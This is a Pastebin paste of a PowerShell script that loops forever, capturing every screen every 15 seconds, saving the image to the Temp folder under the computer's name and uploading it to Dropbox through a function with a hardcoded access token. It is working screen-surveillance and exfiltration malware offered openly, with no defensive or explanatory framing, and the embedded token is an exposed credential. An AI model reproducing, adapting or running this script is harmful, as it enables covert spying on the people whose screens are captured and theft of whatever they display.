Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function DropBox-Upload {
- [CmdletBinding()]
- param (
- [Parameter (Mandatory = $True, ValueFromPipeline = $True)]
- [Alias("f")]
- [string]$SourceFilePath
- )
- $DropBoxAccessToken = "sl.BZbG7BgsCgBNG9ow67A1jZ9n1ZNdHFc1ugj1gLDlgqOYD_vGlym5uJ9cqQLxP6Gffc872M2iGI6bnNLYRIM4tMTE851pgtE4CETzhE1lapjVXmFBj-DAKSbGqZGaaAtaznbOFIvB" # Replace with your DropBox Access Token
- $outputFile = Split-Path $SourceFilePath -leaf
- $TargetFilePath="/$outputFile"
- $arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
- $authorization = "Bearer " + $DropBoxAccessToken
- $headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
- $headers.Add("Authorization", $authorization)
- $headers.Add("Dropbox-API-Arg", $arg)
- $headers.Add("Content-Type", 'application/octet-stream')
- Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers
- }
- while(1){
- Add-Type -AssemblyName System.Windows.Forms,System.Drawing
- $screens = [Windows.Forms.Screen]::AllScreens
- $top = ($screens.Bounds.Top | Measure-Object -Minimum).Minimum
- $left = ($screens.Bounds.Left | Measure-Object -Minimum).Minimum
- $width = ($screens.Bounds.Right | Measure-Object -Maximum).Maximum
- $height = ($screens.Bounds.Bottom | Measure-Object -Maximum).Maximum
- $bounds = [Drawing.Rectangle]::FromLTRB($left, $top, $width, $height)
- $bmp = New-Object -TypeName System.Drawing.Bitmap -ArgumentList ([int]$bounds.width), ([int]$bounds.height)
- $graphics = [Drawing.Graphics]::FromImage($bmp)
- $graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size)
- $bmp.Save("$env:USERPROFILE\AppData\Local\Temp\$env:computername-Capture.png")
- $graphics.Dispose()
- $bmp.Dispose()
- start-sleep -Seconds 15
- "$env:USERPROFILE\AppData\Local\Temp\$env:computername-Capture.png" | DropBox-Upload
- }
Advertisement
Add Comment
Please, Sign In to add comment